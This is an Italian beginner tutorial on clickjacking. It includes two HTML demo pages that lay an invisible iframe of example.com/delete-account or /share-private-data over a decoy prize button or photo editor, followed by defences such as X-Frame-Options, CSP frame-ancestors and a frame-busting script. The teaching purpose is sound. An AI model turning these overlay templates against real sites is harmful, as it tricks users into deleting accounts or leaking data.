JavaScript - Attacco di Clickjacking

Ciao, aspiranti programmatori! Oggi esploreremo il mondo affascinante della sicurezza web, concentrandoci su un piccolo trucco subdolo chiamato Clickjacking. Non preoccupatevi se siete nuovi alla programmazione - vi guiderò attraverso questo argomento passo dopo passo, proprio come ho fatto per centinaia di studenti nel corso degli anni. Allora, iniziamo!

JavaScript - Clickjacking Attack

Attacco di Clickjacking

Immaginate di essere sul punto di cliccare su un video di un gatto carino, ma accidentalmente ordinate 100 paperelle di gomma. Questo è esattamente ciò che fa un attacco di clickjacking - inganna l'utente nel cliccare su qualcosa che non intendeva fare.

Il clickjacking, noto anche come UI redressing, è una tecnica maliziosa utilizzata dagli attaccanti per ingannare gli utenti nel cliccare su qualcosa di diverso da ciò che percepiscono di stanno cliccando. Questo può portare a azioni non intenzionali, furto di dati o persino installazione di malware.

Come funziona il clickjacking?

Ora, analizziamo come questo attacco subdolo funziona effettivamente:

L'attaccante crea una pagina web apparentemente innocua.
Inserisce un sito di destinazione (quello con cui vogliono che tu interagisca) in un iframe invisibile.
La pagina dell'attaccante è progettata per sovrapporsi perfettamente ai pulsanti o ai link del sito di destinazione.
Quando pensi di cliccare sulla pagina dell'attaccante, stai effettivamente interagendo con il sito di destinazione nascosto.

È come un trucco del mago, ma con le pagine web!

Esempi

Esaminiamo alcuni esempi di codice per comprendere meglio questo concetto. Non preoccupatevi se non tutto vi è chiaro ancora - lo analizzeremo!

Esempio 1: Clickjacking di Base

<html>
<head>
<title Vinci un Premio!</title>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>Clicca qui per vincere un premio!</h1>
<button>Richiedi Premio</button>
</div>
<iframe id="target_website" src="https://example.com/delete-account"></iframe>
</body>
</html>

In questo esempio:

Creiamo un sito di esca che promette un premio.
Inseriamo il sito di destinazione (example.com/delete-account) in un iframe invisibile.
L'iframe è posizionato sopra il pulsante "Richiedi Premio".
Quando un utente clicca il pulsante, sta effettivamente cliccando sul pulsante di eliminazione dell'account sul sito di destinazione!

Esempio 2: Clickjacking con Trascina e Rilascia

<html>
<head>
<title>Editor di Foto</title>
<style>
#target_website {
position:absolute;
width:300px;
height:400px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>Trascina l'immagine per modificare</h1>
<img src="cute_cat.jpg" draggable="true" ondragstart="drag(event)">
</div>
<iframe id="target_website" src="https://example.com/share-private-data"></iframe>
<script>
function drag(ev) {
ev.dataTransfer.setData("text", ev.target.id);
}
</script>
</body>
</html>

In questo esempio più avanzato:

Creiamo un falso interfaccia di editor di foto.
Il sito di destinazione (che potrebbe condividere dati privati) è inserito in un iframe invisibile.
Quando l'utente tenta di trascinare e rilasciare l'immagine, potrebbe involontariamente interagire con il sito di destinazione, potenzialmente condividendo informazioni private.

Incidenti Reali di Clickjacking

Il clickjacking non è solo una minaccia teorica. È stato utilizzato in attacchi reali:

Nel 2008, un worm di clickjacking si è diffuso su Facebook, facendo clic involontariamente sul pulsante "Mi Piace" su alcune pagine.
Nel 2012, un ricercatore ha dimostrato un attacco di clickjacking sul mercato delle app di Google Android che poteva ingannare gli utenti nel comprare app senza la loro conoscenza.
Nel 2017, una vulnerabilità di clickjacking è stata scoperta nell'applicazione web di Microsoft Outlook, potenzialmente permettendo agli attaccanti di leggere le email delle vittime.

Questi incidenti mostrano perché è fondamentale comprendere e prevenire gli attacchi di clickjacking.

Misure Preventive

Ora che conosciamo i pericoli, esaminiamo come possiamo proteggerci contro gli attacchi di clickjacking:

Metodo	Descrizione	Esempio
X-Frame-Options	Intestazione HTTP che impedisce che una pagina venga visualizzata in un iframe	`X-Frame-Options: DENY`
Content Security Policy	Permette un controllo più granulare su quali fonti possono integrare il tuo contenuto	`Content-Security-Policy: frame-ancestors 'self'`
Script di Rottura del Frame	JavaScript che esce dagli iframe	`if (top != self) top.location = self.location;`
Cookies SameSite	Impedisce che i cookie vengano inviati in richieste cross-site	`Set-Cookie: session=123; SameSite=Strict`

Esaminiamo un esempio semplice di script di rottura del frame:

<html>
<head>
<style>html{display:none;}</style>
<script>
if (self == top) {
document.documentElement.style.display = 'block';
} else {
top.location = self.location;
}
</script>
</head>
<body>
<h1>Contenuto Protetto</h1>
<p>Questa pagina è protetta dal clickjacking!</p>
</body>
</html>

Questo script fa quanto segue:

Nasconde inizialmente l'intera pagina.
Controlla se la pagina è la finestra più in alto.
Se lo è, visualizza il contenuto.
Se non lo è (ovvero, è in un iframe), esce dall'iframe.

Ricorda, la sicurezza web è come un gioco di gatto e topo. Man mano che emergono nuovi metodi di attacco, dobbiamo continuamente aggiornare le nostre difese. Rimani curioso, continua a imparare e sempre dare la priorità alla sicurezza nel tuo viaggio di sviluppo web!

Spero che questo tutorial sia stato utile per comprendere gli attacchi di clickjacking. Ricorda, con grande potere di programmazione arriva grande responsabilità. Usa le tue competenze saggiamente e buon codice!

Credits: Image by storyset

Tutorial precedente:

JavaScript - IndexedDB

Prossimo tutorial:

JavaScript - Currying